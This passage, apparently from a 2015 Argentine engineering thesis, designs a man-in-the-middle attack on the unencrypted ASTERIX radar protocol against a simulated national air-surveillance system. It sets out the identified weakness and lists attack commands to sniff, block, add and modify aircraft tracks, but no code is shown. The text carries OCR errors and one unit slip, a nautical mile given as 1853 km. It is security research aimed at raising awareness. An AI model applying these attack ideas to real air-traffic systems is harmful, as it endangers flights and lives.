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TITULO DEL PROYECTO

“Andlisis, disefio e implementacion de un plan de ciberataque contra una infraestructura
critica: Sistema de Radarizacion del Espacio Aéreo Argentino”

LISTADO DE SIMBOLOS Y CONVENCIONES
e PSR: Primary Surveillance Radar (Radar Primario de Vigilancia).
e SSR: Secondary Surveillance Radar (Radar Secundario de Vigilancia).
e ATC: Air traffic control (control de trafico aéreo).
e ECAC: Conferencia Europea de Aviacion Civil.

e ASTERIX: AIll Purpose STructured Eurocontrol SuRveillance Information
Exchange.

e FRN: Field Reference Number (nimero de referencia de campo).
e UAP: User Aplication Profile (perfil de aplicacion de Usuario).

e CAT: Categoria.

e LEN: Length (Longitud).

e FSPEC: Field Specification.
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e LSB: Bit menos significativo.
e FX: Extensién de campo.
e AGIUA: Asterix Generator IUA.

e MITMAST: Man in the Middle Asterix.
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Figura 29.7: Fragmento de cOdIgo SNITFEO. ........ccviiiiiiiiicce e et 97
Figura 29.8: Fragmento de c6digo opCiOn BLOCK ..........cccciiiiiieiiciecc ettt e 97
Figura 29.9: Fragmento de c6digo control de AIrCraft. .........ccoooiiiiiiiii s 98
Figura 29.10: Fragmento de cOdigo OPCION ADD ........ccoiiiiiiiiinieicisieei e 98
Figura 29.11: Fragmento de codigo modificacion Coordenadas CarteSianas. ..........ccoeevverervrerieeneseeseseneens 99
Figura 29.12: Fragmento de c6digo armado de ChECKSUM ........couiiiiiiiiiiiiisieieese e 99
Figura 29.13: Fragmento de c6digo calculo datos nuevos CheCkSUM...........ccoveiiiiiiiiieic e 100
Figura 29.14: Fragmento de cOdigo OpCiON IMOD ..........ccoeiiiiiiiiinieieie ettt 100
Figura 29.15: Fragmento de c6digo modificacion de TrayeCtoria........ccverveererieienerieeseiese e sieesie e 101
Figura 29.16: Fragmento de cOdigo reiniCiar PArdmMEtIOS ..........civierveiererieisesieeeesieesreseesesteseeessesseseesesseseas 102
Figura 30.1: Esquema de la eJecucion del AtagUE ...........coeviirieiiiiiice et 103
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Figura 30.2: Comando Para SNITFEAN ..........cccviiiieieccre sttt st e et seesrenns 105
Figura 30.3: Ejecucion del comando para SNIffear...........ccvvviiiieiieie e 105
Figura 30.4: Comando BLOCK ........cuiiiiiiirieiste ettt eb ettt bt sr e ab bt nr e ebenne e 106
Figura 30.5: Ejecucion del comando para BIOQUEA ..........c.couieriiriininieninieees et 106
Figura 30.6: COMANGO ADD ......cociiieieie ettt sttt st e te ettt st e e e reene e et et nrern 107
Figura 30.7: Ejecucion del comando ADD.........ccoouiioieieieie sttt st st nnn 108
Figura 30.8: COmMANAO IMOD ..ottt ettt b bbbt b e bbbt ebenn et ebenn e 109
Figura 30.9: Ejecucion del comando IMOD .........cccoiiiiriinirieiieee et 109
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3. RESUMEN

El objetivo de este proyecto es tomar medidas de seguridad con relacién a ciberataques que
puedan montarse sobre alguna infraestructura critica de la Argentina, en nuestro caso el
sistema de radarizacion aérea.

Una vez definido el tema del proyecto se busco aplicar la mayor cantidad de conocimientos
adquiridos a lo largo del cursado de la carrera Ingenieria en Informética e incursionar en el
campo de la seguridad informéatica ampliando dichos conocimientos. Gracias a esto
pudimos poner a prueba nuestra capacidad de investigacion, aplicacion y busqueda de una
solucion a un determinado problema.

En primer lugar, se realiz6 una investigacion en internet, trabajos publicados y noticias para
adquirir conceptos basicos acerca de infraestructuras criticas y sobre el protocolo
ASTERIX, lo cual sirvi6 como marco tedrico para encarar el proyecto. Mientras
investigabamos el protocolo en cuestion pudimos observar que el mismo no viajaba
encriptado por lo que enfocamos todo nuestro esfuerzo en aprovechar dicha vulnerabilidad
y asi poder planear un posible ataque formal.

Luego de finalizar los diferentes ataques planteados llegamos a la conclusién que en caso
de concretarse un ciberataque sobre esta infraestructura critica podria traer grandes pérdidas
a la Argentina por lo que se deberian tomar medidas a la brevedad sobre el problema
planteado en este trabajo final de grado.
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4. INTRODUCCION

Este proyecto atiende a la necesidad de tomar medidas de seguridad con relacion a
ciberataques en contra infraestructuras criticas de un pais, especialmente el Sistema de
Radarizacion de Trafico Aéreo. La seguridad informatica en este tipo de infraestructuras es
muy importante debido a que si una amenaza o riesgo se materializa el impacto puede
llegar a ser incalculable, desde grandes pérdidas economicas hasta dafios a la vida de los
habitantes del pais.

El tema principal tratado fue abordado luego de una extensa investigacion referente a las
posibles fallas de seguridad de un sistema de esta magnitud. En el transcurso de la misma,
encontramos una gran vulnerabilidad en el protocolo de comunicacion entre radares y
centro de operaciones. Esta vulnerabilidad es tan importante que nos parecio el tema
correcto para poder desarrollar nuestro trabajo final de grado.

Se tomo como base la infraestructura del Sistema de Radarizacion de Trafico Aéreo. En un
primer momento se penso en reproducir o mejor posible la estructura de red del sistema,
pero debido a la imposibilidad de que se nos facilite dicha informacion se decidié tomar
una estructura de red, acordada entre grupos de investigacién y el profesional a cargo, que
pensamos se asemeja a la real a partir de la poca informacién que dispusimos.

En torno a esta estructura se decidié virtualizar cada uno de los nodos Yy realizar programas
para simular la comunicacién entre estos, desde un programa generador de ASTERIX hasta
un interpretador y graficador del mismo. Desde esta base pudimos desarrollar un programa
que realice un ciberataque sobre este protocolo, momento en el cual el proyecto alcanza un
punto critico al poder comprobar que la vulnerabilidad encontrada es explotable.
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5. OBJETIVO DEL PROYECTO

El objetivo del trabajo final de grado es analizar y explotar las vulnerabilidades de una
infraestructura critica de la Argentina, el sistema de radarizacion del espacio aéreo,
mediante la definicién y puesta en marcha de distintos vectores de ataques, basados
principalmente en el tipo de ataque Man in the Middle sobre el protocolo ASTERIX,
utilizado para el transporte de datos en el sistema de radar.

La eleccion de este proyecto como trabajo final de grado esta dada por dos principales
factores: el interés de los integrantes en la ciberseguridad y para concientizar sobre las
vulnerabilidades de las tecnologias utilizadas actualmente tanto en el sistema de
radarizacion argentino.

5.1. OBJETIVOS ESPECIFICOS
A continuacion, se detallan los objetivos especificos del proyecto:

e Investigar y analizar las infraestructuras criticas argentinas.

e Profundizar el anélisis del sistema de radarizacion del espacio aéreo y realizar un
analisis de resigo con el fin de detectar potenciales vulnerabilidades del mismo.

e Disefiar vectores de ataques para explotar dichas vulnerabilidades.

e Realizar ataques utilizando estos vectores en un ambiente simulado.

e Desarrollar un pentesting test plan sobre dicha infraestructura critica.

6. DESTINATARIOS

Los destinatarios de este trabajo de investigacion son las areas de I+D+i del Instituto
Universitario Aeronautico, Sistema de Radarizacion asociado al Trafico Aéreo vy
potencialmente el Sistema de Radarizacion de la Fuerza Aérea Argentina.

7. BENEFICIOS ESPERADOS

El principal beneficio que se pretenden alcanzar con dicho proyecto es concientizar sobres
las actuales vulnerabilidades de las tecnologias utilizadas en este ambito. También se busca
que, gracias a esta concientizacion, se logre incentivar la mejora de seguridad de la
infraestructura critica seleccionada contra ciberataques, debido a que, si se conocen las
vulnerabilidades, se podra generar planes de mitigacion para reducir su impacto.

El beneficio que conlleva lo planteado anteriormente a la sociedad es muy dificil de
cuantificar, ya que, en caso de un ciberataque, se podria llegar a tener grandes pérdidas
materiales, monetarias e inclusive vidas.
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8. ESTUDIO TECNICO

Para la realizacion de la parte de implementacion del proyecto se utilizard una simulacién
del sistema de radarizacion mediante la utilizacion de maquinas virtuales Linux, sobre el
cual se realizarén los ataques correspondientes.

Debido a que todo el sistema critico se encontrara simulado, no se necesitara acceso a
ningun sistema de radarizacion real, por lo menos para realizar pruebas fisicas. Gracias a
esto, no existe ningun riesgo de dafiar realmente la infraestructura, evitando también
posibles problemas legales que todo esto conlleva.

El rendimiento esperado de todo el sistema es lograr una simulacion lo més real posible
para asi, poder realizar todas las pruebas pertinentes y lograr resultados lo méas parecido a la
realidad.

9. DESARROLLO DEL TRABAJO

9.1. RESUMEN TECNICO

Debido al gran avance tecnoldgico en los ultimos tiempos, empieza a surgir la idea de que
las proximas guerras se denominaran ciberguerras, debido a que, con un ataque informatico
a algunas de las infraestructuras criticas de un pais, se lograran grandes dafios al mismo.

Por lo planteado anteriormente es que se decidié tomar una de las infraestructuras criticas
de la Argentina y realizar un ciberataque. Lo que se busca es no solo realizar un informe
sobre los posibles ataques y vulnerabilidades del sistema de radarizacion aérea argentino,
sino también concientizar que un ataque real de esta envergadura, podria traer grandes
problemas a nivel pais.

A continuacion se adjuntan dos diagramas que dan una vision general de la estructura de
red sobre la que se detecto la vulnerabilidad y en el segundo diagrama se muestra como un
atacante puede explotar dicha vulnerabilidad. En dicho diagrama se ve que para mostrar el
ataque se va a la utilizar un simulador debido a que, por razones obvias, no se va a poder
hacerlo sobre sefiales reales.
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9.2. METODOLOGIA

Para la realizacion del trabajo final de grado utilizaremos métodos de investigacion 16gicos

y empiricos.

Los métodos ldgicos se basan en la utilizacion del pensamiento en sus funciones de
deduccidn, analisis y sintesis, mientras que los métodos empiricos, se aproximan al
conocimiento del objeto mediante su conocimiento directo y el uso de la experiencia, como

la observacion y la experimentacion.

10.PROGRAMACION DE ACTIVIDADES

En la tabla a continuacion se muestra las actividades que seran llevadas a cabo durante la
realizacion del trabajo final de grado, la duracién de cada una de ellas y las relaciones y

secuencia de las mismas.

Me
de
0 tan - MNombre de tarea + Duracién + Comienzo ~ Fin -

p 4 TFG 123dias  mié 01/07/15 vie 18/12/15

- 4 Planificacion 3 dias mié 01/07/15 vie 03/07/15

- Reunion preliminar 1dia mié 01/07/15 'mié 01/07/15

L= Planificacidén del Proyecto 3 dias mié 01/07/15 vie 03/07/15

L= 4 Andlisis/Investigacidn 32 dias lun 06/07/15  mar 18/08/15

L= Investigar sobre las infraestructuras criticas de argentina. 7 dias lun 06/07/15  mar 14/07/15

L= Profundizar acerca del sistema de radarizacidn aéreo 10 dias mié 15/07/15 mar 28/07/15
Argentino.

- Indagar y descubrir las vulnerabilidades del sistema de 15 dias mié 29/07/15 mar 18/08/15
radarizacion actual.

- Buscar y analizar herramientas para la realizacion de 7 dias mié 15/07/15 jue 23/07/15
pruebas de penetracion.

- 4 Disefio 24 dias mié 19/08/15 lun 21/09/15

L= Disefiar la infraestructura a virtualizar. 4 dias mié 19/08/15 lun 24/08/15

- Plantear una serie de vectores de ataques para el sistema 10 dias mar 25/08/15 lun 07/09/15
de radarizacion aéreo.

L= Disefiar un Pentesting Test Plan. 10 dias mar 08/09/15 lun 21/09/15

L= 4 Implementacién 29 dias mar 22/09/15 vie 30/10/15

L= Creacion de la infraestructura virtual. 4 dias mar 22/09/15 vie 25/09/15

L= Implementar los vectores de ataques sobre la simulacién 25 dias lun 28/09/15  vie 30/10/15
de sistema de radarizacidn aéreo a través de redes

- 4 Evaluacion 10 dias lun 02/11/15 vie 13/11/15

- Evaluar los resultados obtenidos de la implementacién de 10 dias lun 02/11/15 vie 13/11/15
los vectores de atague.

- Redacrion del Trabajo Final de Grado 25 dias lun 16/11/15  vie 18/12/15

Figura 10.1: Tabla de Actividades

Predecesoras - 1

1
12

10

14

18

BAIGORRIA, Facundo.
BUCHAILLOT, Tomas.

15



Instituto Universitario Aeronautico
Trabajo Final de Grado

10.1. DIAGRAMA DE GANTT
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Figura 10.2: Diagrama de Gantt

11.PROGRAMACION DE RECURSOS

La parte de investigacion, desarrollo y planteo de los ataques se llevaran a cabo fuera de las
instalaciones del Instituto Universitario Aeronautico, en los domicilios de los integrantes
del proyecto. Los mismos coordinaran reuniones diarias para comentar avances y dividir
tareas.

En lo que respecta a las pruebas practicas, en caso de ser necesario, se utilizaran los
laboratorios del instituto, principalmente el laboratorio JAVA ya que posee las maquinas
necesarias y un servidor en el que se podrd montar la simulacion de la infraestructura
critica.
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12.FACILIDADES REQUERIDAS AL IUA
Las facilidades requeridas al ITUA son:

e Acceso a pappers de la IEEE mediante la cuenta brindada por el IUA.

e Acceso a la Biblioteca.

e Acceso al laboratorio de JAVA y al servidor que este posee.

e Permiso para realizar las pruebas (ataques) sobre la simulacién de la infraestructura
critica utilizando la red del IUA.

13.PRESUPUESTO

El presupuesto no se aplica en este proyecto ya que los integrantes poseen los recursos
necesarios para la investigacion y desarrollo (computadoras personales) y para la
integracion y las pruebas se utilizaran las instalaciones del ITUA.

14.FUENTES DE FINANCIAMIENTO

En el caso de un imprevisto de necesitar algun tipo de financiamiento se utilizaron fondos
propios ya que el posible monto no sera exuberante.

15.RIESGOS ESPERADOS Y SUPUESTOS ASUMIDOS

Los riesgos existentes en este proyecto son la falta de cooperacion en cuanto a informacion
brindada sobre el sistema de radarizacion del espacio aéreo argentino actual por parte de la
fuerza aérea. Esto traeria consigo una demora y retaso de los tiempos de desarrollo del
proyecto.

16.INVERSION REQUERIDA

Como se explico anteriormente, no es necesaria una inversion monetaria o cualquier tipo
para iniciar el proyecto.
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BUCHAILLOT, Tomas.



Instituto Universitario Aeronautico
Trabajo Final de Grado

17.PROYECCION DE COSTOS DE OPERACIONES Y
MANTENIMIENTO

Como se ha mencionado anteriormente en este documento, el Unico costo que tiene este
proyecto es el tiempo invertido por los integrantes del mismo.

Con respecto al mantenimiento, solo se deberdn realizar nuevas investigaciones o
modificaciones en el caso de que el sistema de radarizacion implemente una mayor
seguridad, ya que los vectores de ataques planteados no seran viables a la hora de vulnerar
el sistema.

18.ANALISIS DE VIABILIDAD COMERCIAL

Al tratarse de un proyecto que no es con fines comerciales, este apartado no aplica al
trabajo.

19.ANALISIS FINANCIERO

No aplica al proyecto en cuestion.

20.ESTUDIO AMBIENTAL

El presente proyecto no genera ninglin impacto ambiental, ya que solo se consumira energia
eléctrica para su desarrollo y aplicacion.

21.ESTUDIO SOCIAL

Uno de los principales objetivos por lo que se decidi6 realizar este proyecto es para
concientizar sobre las vulnerabilidades del sistema de radarizacion aéreo y asi poder evitar
posibles ataques que podrian afectar a la Argentina. Por lo que la realizacion del mismo
traeria un beneficio para la sociedad, evitando grandes pérdidas monetarias, de estructuras e
inclusive de vidas humanas.

22.EVALUACION ECONOMICA

No aplica al proyecto en cuestion.

BAIGORRIA, Facundo. 18
BUCHAILLOT, Tomas.



Instituto Universitario Aeronautico
Trabajo Final de Grado

23.INFRAESTRUCTURAS CRITICAS ARGENTINAS

Las infraestructuras criticas son aquellas infraestructuras cuya interrupcion o destruccion
pueden tener gran repercusion en la seguridad, la integridad fisica, la salud, la informacion
o el bienestar social y econémico de los ciudadanos o en el correcto funcionamiento de las
instituciones publicas o del estado. El alcance actual de dichas infraestructuras en nuestro
pais esta contemplado entre:

e Administracion

e Espacio

e Industria Nuclear

e Industria Quimica

e Instalaciones de Investigacion

e Sistema de Radarizacion

e Agua
e Energia
e Salud

e Tecnologias de la Informacién y las Comunicaciones (TIC)
e Transporte

e Alimentacion

e Sistema Financiero y Tributario

En nuestro caso, hemos elegido el sistema de radarizacion del espacio aéreo argentino,
debido al impacto que podria tener, tanto social (las vidas de las personas en el avién) como
econdmico (si un avion se estrella contra algo) y militar (que un radar no capture la
informacidén de un avion enemigo en época de guerra).
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24 SISTEMA DE RADARIZACION DEL ESPACIO AEREO

El término Radar proviene del acrénimo en inglés “Radio Detection and Ranging”
(deteccion y medicion de distancia por ondas de radio), esta tecnologia fue desarrollada
para detectar diferentes tipos de blancos radar como aeronaves y fendmenos climatoldgicos
(tormentas, huracanes y lluvia). EI concepto fue inicialmente planteado por el fisico aleman
Heinrich Hertz en 1886 cuando a través de diversos experimentos demostrd que las ondas
electromagnéticas tienen las mismas propiedades que las ondas luminosas y por tanto se
pueden reflejar, desde entonces, mucho se ha avanzado en este campo, aunque los
conceptos basicos siguen siendo los mismos: la deteccion de un blanco de interés, por
medio de ondas de radio. Después de la Segunda Guerra Mundial y con el desarrollo de la
aviacion civil, los sistemas radar adquirieron una enorme importancia para el control de
transito aéreo.

En este capitulo se tratardn conceptos béasicos que describen el funcionamiento de un
sistema radar y como se han convertido en una herramienta importante para la seguridad
del transporte aéreo.

24.1. PRINCIPIOS BASICOS DE OPERACION DE UN RADAR

Al ser el radar un sistema que utiliza ondas electromagnéticas para detectar objetos, el
mismo emite ondas de radio las cuales viajan por el espacio, impactan contra el objetivo y
ese choque provoca que parte de la energia incidente sea reflejada de vuelta al punto de
emision. Dicho reflejo se denomina “eco” y a partir de analisis del mismo se puede extraer
una serie de informacion para caracterizar el blanco radar. A continuacién se definiran
algunos de los datos que se pueden obtener y los célculos pertinentes.

24.1.1. Determinacién de Rango o Distancia del objeto

El rango es la distancia que tiene el objeto a la antena radar. Una forma de determinar la
distancia al objetivo es transmitir un pulso electromagnético pequefio y medir el tiempo que
tarda el eco en volver. Como se puede observar en la Figura 24.1 la antena radar
(Emisor/Receptor) emite ondas de radio representadas de color rojo, cuando las mismas
impactan con la aeronave (objeto) y provoca que parte de la energia incidente refleje de
vuelta al radar, representadas como lineas curvas intermitentes de color verde.
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Figura 24.1: Medicion de la distancia en un sistema de radar

Debido a que cuando la onda regresa al radar, el Unico dato obtenido es el tiempo (t) que se
demord en ir y regresar, debemos hacer uso de la siguiente férmula para calcular la
distancia:

G xt
2

Donde:

e Co: Velocidad de la luz (velocidad a la que las ondas electromagnéticas se
propagan). 3x108 m/s.

e t: Tiempo medido en segundos.

¢ R:Rango o distancia medido en metros.

En aviacion se utiliza el concepto de millas nduticas radar, que en nuestro caso es el tiempo
que tardan las ondas de radio en recorrer una milla ndutica en un trayecto de ida y vuelta.
Una milla ndutica equivale a 1853 km.

24.1.2. Determinacién de Direccién

La determinacion del angulo del objetivo con respecto al norte magnético esta dado
principalmente por la direccionalidad de la antena radar. La direccionalidad es la capacidad
de la antena para concentrar la energia radiada en una direccion especifica, por lo que, una
antena radar con una direccionalidad elevada se llama “antena direccional”.

Los sistemas radar modernos proporcionan informacion de la posicion de un blanco con
respecto al norte magnético. Dicha informacidn se conoce como azimut o posicion azimutal
del blanco.

En la Figura 24.2 se puedo observar cdmo se determina la direccién de un blanco con
respecto a una antena radar.
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Figura 24.2: Determinacion de direccién

Con el fin de determinar con exactitud el angulo de rumbo o azimut, es necesario conocer
la direccidn del norte magnético. En la antigliedad se utilizaba un compas o con la ayuda de
conocidos puntos trigonométricos. En la actualidad, debido al avance tecnoldgico, esta
técnica fue reemplazada por la ayuda de los sistemas satelitales GPS.

24.1.3. Velocidad y direccion de desplazamiento del blanco

Para poder medir la velocidad y direccion de desplazamiento del blanco se necesita que el
radar sea un Radar Doppler. EI mismo utiliza el efecto Doppler en los ecos de retorno del
blanco para medir la velocidad radial del blanco.

El efecto Doppler consiste en que la sefial de onda electromagnética enviada por el haz
direccional en la antena de radar se refleja hacia el mismo y se comparan las frecuencias,
arriba o abajo desde la sefial original, permitiendo asi mediciones directas y altamente
seguras de componentes de velocidades de blancos. La figura 24.3 muestra dicho efecto.

Figura 24.3: Efecto Doppler
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24.2. CLASIFICACION DE RADARES

En la siguiente seccion se clasificaran los sistemas de radar de acuerdo con la tecnologia
que utilizan.

24.2.1. Clasificacion por tipo de transmision

24.2.1.1. Radares de onda continua

El radar de onda continua es un tipo de radar particular que transmite continuamente una
sefial de alta frecuencia, y luego recibe y procesa los ecos de dichas ondas. Este tipo de
radar se caracteriza por transmitir ininterrumpidamente la sefial de Radiofrecuencia, por lo
que para ello utiliza ondas continuas.

Este tipo de radares pueden trabajar con tecnologia Doppler o de modulacién de frecuencia
(FM). Como se explico en el apartado anterior, El efecto Doppler se utiliza para medir con
precision la velocidad de un objeto, utilizando una onda continua de frecuencia fija. La
Figura 24.4 muestra como se utiliza la onda continua en el efecto Doppler.

Transmisor N

Receptor | ¢ Sefial reflejada afectada por

el efecto Doppler

Figura 24.4: Principio de un radar de onda continta
Un radar de onda continua posee los siguientes componentes/bloques:

Oscilador: encargado de generar la sefial de onda continua.

Transmisor: antena encargada de transmitir la onda continua que ha generado el oscilador.
Receptor: antena encargada de recoger la sefial reflejada o eco.

Amplificador de sefal: se encarga de amplificar la sefial y analizar su contenido.
Mezclador: Obtiene la informacién sobre la amplitud y variacion de frecuencia del eco
recibido con respecto a la sefial original.

24.2.1.2. Radares de onda pulsada

Los radares de onda pulsada transmiten de forma periddica un pulso, el cual, puede estar
modulado o no. A diferencia de los radares de onda continua, estos trasmiten la sefial de
radiofrecuencia en pulsos de corta duracion y, gracias a esto, puede escuchar entre pulsos,
por lo que no requiere de dos antenas para realizar su trabajo.
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La Figura 24.5 muestra una representacion de dos pulsos que poseen una duracion t y los
cuales se envian definidos por un periodo.

R L

del pulso

.
W

’< FPeriodo de %
los pulsos

Figura 24.5: Representacion de pulsos de un radar de onda pulsada

Un radar de onda pulsada posee los siguientes componentes/bloques:

e Antena: Es la encargada de transmitir y recibir los pulsos de radiofrecuencia.

e Oscilador: Encargado de generar la sefial de radiofrecuencia que se enviara a través de la
Antena. En algunos casos el oscilador incluye un amplificador de sefial incorporado para
obtener potencias mayores a las producidas por el oscilador en si mismo.

o Receptor: Es el encargado de recibir los ecos captados por la antena, amplificarlos y
transformarlos en informacion util.

¢ Sincronizador: Es el encargado de generar la sefial que marca la transmision del pulso de
radar. Para inicializar su reloj interno el receptor utiliza esta sefial en espera del eco
devuelto por el obstaculo.

e Interruptor: Bloque encargado de conectar la antena al receptor o al transmisor en funcién
de la sefial de sincronizacion.

24.2.2. Clasificacion de radares segun el blanco

En este apartado se dard una breve explicacion de los radares primarios y secundarios y sus
caracteristicas principales. En el apartado 24.3 se explicara en profundidad la aplicacion de
dichos radares en la aeronautica.

24.2.2.1. Radar Primario

El Radar Primario es el encargado del reconocimiento de aeronaves en vuelo en las
proximidades de un aeropuerto o de la ruta de dichas aeronaves. Los mismos detectan al
blanco mediante el reflejo de ondas electromagnéticas generadas y recibidas por la antena.

Estos trabajan con ecos pasivos, o que quiere decir que permite identificar los blancos
radar sin que estos estén equipados con ninguna tecnologia especial, ya que, las ondas
reflejan en la aeronave y regresan al radar obteniendo asi informacion de su direccion y
distancia. Esta es una de las principales ventajas que poseen este tipo de radares.
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Una de las desventajas que posee este sistema es que la informacion obtenida por dichos
radares es muy limitada. Dado esto es que se complementan muy bien con los Radares
Secundarios.

24.2.2.2. Radar Secundario

El Radar Secundario es el encargado de la identificacion y seguimiento de blancos de radar
especificos en el espacio. A diferencia del radar primario, este posee dos segmentos
activos: el segmento terrestre que es el radar fisico y el segmento aéreo que se encuentra
instalado en las aeronaves el cual se denomina “Transponder”.

El radar secundario codifica mensajes y los transmite a través de una sefial de
interrogacion, la cual es recibida por todas las aeronaves que se encuentren dentro de su
radio de alcance a través de los transponder.

Los transponder detectan y decodifican la sefial y responden en consecuencia. Todas las
aeronaves que reciben la sefial responden con una sefial codificada que transporta
informacion de identificacion de la de la aeronave y de su altitud barométrica.

A pesar de no ser exclusivos de la vigilancia de trafico aéreo, los radares secundarios son
utilizados principalmente en ese campo de uso. En este contexto son conocidos como Radar
Secundario de Vigilancia.

24.3. CARACTERISTICAS TECNICAS DE RADARES AERONAUTICOS

24.3.1. Radar Primario de vigilancia (PSR)

El Radar Primario de Vigilancia (Primary Surveillance Radar) posee una antena que gira
360° y emite un pulso de radio. Dicho pulso se refleja en los blancos del radar y regresa a la
antena en forma de eco, apareciendo en la pantalla radar como una sefial luminosa. En la
Figura 24.6 se puede ver un diagrama del funcionamiento de un radar primario basico.

BAIGORRIA, Facundo. 25
BUCHAILLOT, Tomas.



Instituto Universitario Aeronautico
Trabajo Final de Grado

Transmisor AntenaRadar
v \‘
Duplexor |<— . g
A 4
Receptor Indicador

Figura 24.6: Diagrama Radar Primario

A continuacion se detalla cada una de los componentes del diagrama:

1.

Antena Radar: Es la encargada de convertir la energia del transmisor en ondas
electromagnéticas y transmitirlas. También se encarga de recibir los ecos radar
provenientes del rebote de la onda en los blancos.

Transmisor: Es un amplificador de potencia encargado de producir los pulsos de
energia de radiofrecuencia de corta duracién y alta potencia que la antena radia al
espacio. Durante esta emision el receptor queda aislado de la antena, debido a un
conmutador.

Duplexor: Es el encargado de alternar la antena entre transmisor y receptor. Gracias
a él, no es necesario el uso de dos antenas separadas para transmitir y recibir las
sefiales. Este modulo es necesario para evitar que los pulsos de alta potencia
generados por el transmisor destruyan el receptor ya que el mismo es altamente
sensible para poder recibir todos los ecos de los blancos radar.

Receptor: Es el encargado de amplificar y modular las sefiales de radiofrecuencia
recibida por la antena. EI mismo se encarga de enviar los datos recibidos al
indicador para que estos puedan ser mostrados.

Indicador: Es el que presenta al operador una visualizacion continua y facil de
entender de la posicion relativa de los blancos radar. Generalmente es conocido por
sus siglas en ingles con el nombre de PPI, que significa Indicador de Posicién de
Plan.

24.3.2. Radar Secundario de vigilancia (SSR)

Debido a la incapacidad de los radares primarios de identificar a las aeronaves, se
comenzaron a utilizar los secundarios para agregar informacion valiosa a la obtenida por
dichos radares. Normalmente se utiliza una combinacion de ambos tipos (PSR+SSR) y se
los denomina multiradar.
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El radar Secundario de Vigilancia consiste en una antena que gira 360° enviando sefiales de
radio al espacio. La relacion existente entre la estacion de tierra y la aeronave es del tipo
activo, es decir que la aeronave deja de ser un blanco pasivo, para convertirse en un blanco
activo, ya que la estacion radar en tierra interroga a una frecuencia de 1030 MHz, y las
aeronaves equipadas con un transponder responden a esta interrogacion a una frecuencia de
1090 MHz.

En el proceso de obtencion de datos del blanco intervienen una serie de elementos los
cuales se explicaran en detalle en los apartados a continuacion:

e Antena del SSR: A diferencia de la antena del PSR que es de tipo parabolica, la
antena del SSR es de tipo de arreglo de dipolos, lo que quiere decir que la misma no
es tan directiva. Debido a esto la antena SSR va a poseer una ganancia menor y el
ancho del haz es més ancho que la del PSR.

e Transmisor de SSR: Es el encargado de amplificar y modular la interrogacion
enviada por el codificador. Normalmente el radar secundario trabaja con la mitad de
la frecuencia de repeticidn de pulso que el radar primario.

e Receptor de SSR: Es el encargado de filtrar, amplificar y modular todos los
impulsos de las respuestas que se reciben en la antena radar.

e Coder del SSR: Es el encargado de codificar la interrogacion que sera amplificada
y modulada con ayuda del transmisor para luego ser enviada al transponder de la
aeronave.

e Decoder del SSR: Se encarga de decodificar y descifrar la respuesta enviada por el
transponder de la aeronave, la cual posee la informacion deseada.

24.3.2.1. Transponder

El transponder es un dispositivo ubicado en las aeronaves cuyo nombre proviene de la
fusion de las palabras “Transmitter (transmisor)” y “Responder (respondedor)”. Es el
encargado de establecer la comunicacion entre el equipo a bordo de la aeronave y la
estacion en tierra a través del radar secundario. Por medio de este enlace, el personal de
control de transito aéreo proporciona guia a la aeronave, detectandola en una pantalla de
radar.

Existen dos tipos de Transponder, los analogicos y los digitales. En ambos aparee el codigo
de 4 digitos octales, que el piloto introduce y que fue asignado por el ATC. El digital
muestra, ademas del cddigo, informacién del estado del equipo asi como de la altitud que se
transmite. En la Figura 24.7 se muestra la parte delantera de un Transponder Digital.
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Figura 24.7: Transponder Digital

25.PROTOCOLO ASTERIX DE EUROCONTROL

En esta primera instancia vamos a hacer referencia al protocolo sobre el cual detectamos
una vulnerabilidad. El protocolo de comunicacion del que estamos hablando es ASTERIX.
Este es un protocolo estandar disefiado para el intercambio de informacion entre sensores
de radar y centros de control (ATC Systems) mediante una estructura de mensajes. Este
protocolo fue disefiado por Eurocontrol y su acronimo corresponde con “All Purpose
STructured Eurocontrol SuRveillance Information EXchange”, es decir, estructura
multipropdsito para el intercambio de informacion de vigilancia de Eurocontrol.

ASTERIX se ha ido desarrollando poco a poco para facilitar y optimizar el intercambio de
informacién de vigilancia entre y dentro de los paises principalmente, lo cual hace a los
principales usuarios de ASTERIX los centros de control de trafico aéreo (ATC).
Actualmente, casi todos los estados de la ECAC (Conferencia Europea de Aviacion Civil) -
entre otros- estan utilizando el protocolo en sus centros de ATC.

Este protocolo define una estructura estandar de la informacidn que sera intercambiada en
una red de comunicacién, desde codificar cada bit de informacién hasta la organizacion de
los datos dentro de un bloque de datos. Estas transiciones pueden hacer uso de cualquier
medio de comunicacion disponible, como redes LAN, Internet Protocols (IP), WAN, etc.
Para estas transmisiones, los elementos de datos se agrupan en categorias ASTERIX.
Actualmente existen 256 distintos tipos de categorias.

25.1. ORGANIZACION DE LOS DATOS ASTERIX

La estructura ASTERIX para el intercambio de informacion de vigilancia se puede definir
de la siguiente manera:

e Data Categories (Categorias de Datos)
e Data Item (Item de Datos)
e Data Field (Campo de Dato)

e User Application Profile (Perfil de Aplicacion de Usuario)
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e Data Block (Blogque de Dato)
e Registers (Registros)

La Figura 25.1 muestra la estructura del protocolo en forma de arbol mientras que la Figura
25.2 muestra la organizacion de los datos del mismo.

SURVEILLANCE RELATED
DATA
DATA CATEGORY (1) | | DATA CATEGORY (2) | 1 DATA CATEGORY (n) |
CATALOGUE OF DATA CATALOGUE OF DATA CATALOGUE OF DATA
ITEMS FOR THIS CATEGORY ITEMS FOR THIS ITEMS FOR THIS
CATEGORY CATEGORY
DATA ITEM (1) DATA ITEM (1) DATA ITEM (1)
DATA ITEM (2) DATA ITEM (2) DATA ITEM (2)
DATA ITEM (p) DATA ITEM (q) DATA ITEM (r)

Figura 25.1: Estructura del protocolo ASTERIX

USER APPLICATION PROFILE
DATA DATA DATA DATA DATA DATA DATA DATA
FIELD | FIELD | FIELD | FIELD | FIELD | FIELD | FIELD | FIELD
(1) (2) (3) (4) (5) (8) (7) (8)
DATA ITEM (1) X
DATA ITEM (2) X
DATA ITEM (3) X
DATA ITEM (4) X
DATA ITEM (5)
DATA ITEM (x) X
DATA ITEM (x + 1) X
DATA ITEM (q) X

Figura 25.2: Organizacion de los datos del protocolo ASTERIX

En las secciones a continuacidn se detallan cada uno de los componentes de la estructura
del protocolo.
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25.1.1. Data Categories

Los datos intercambiados sobre un medio de comunicacién entre los diferentes usuarios del
protocolo se deben clasificar en categorias de datos. Cada categoria define la informacion
que puede ser transmitida y codificada para el envio de dicha informacion.

El propdsito de esta clasificacion es:
e Permitir la facil identificacion y posterior procesamiento de los datos.
o Facilitar el envio de los datos a la unidad receptora.

El protocolo ASTERIX permite la definicion de hasta 256 categorias de datos y su uso sera
el siguiente:

e Las categorias de datos de 000 a 127 se utilizan para aplicaciones civiles y militares
estandar.

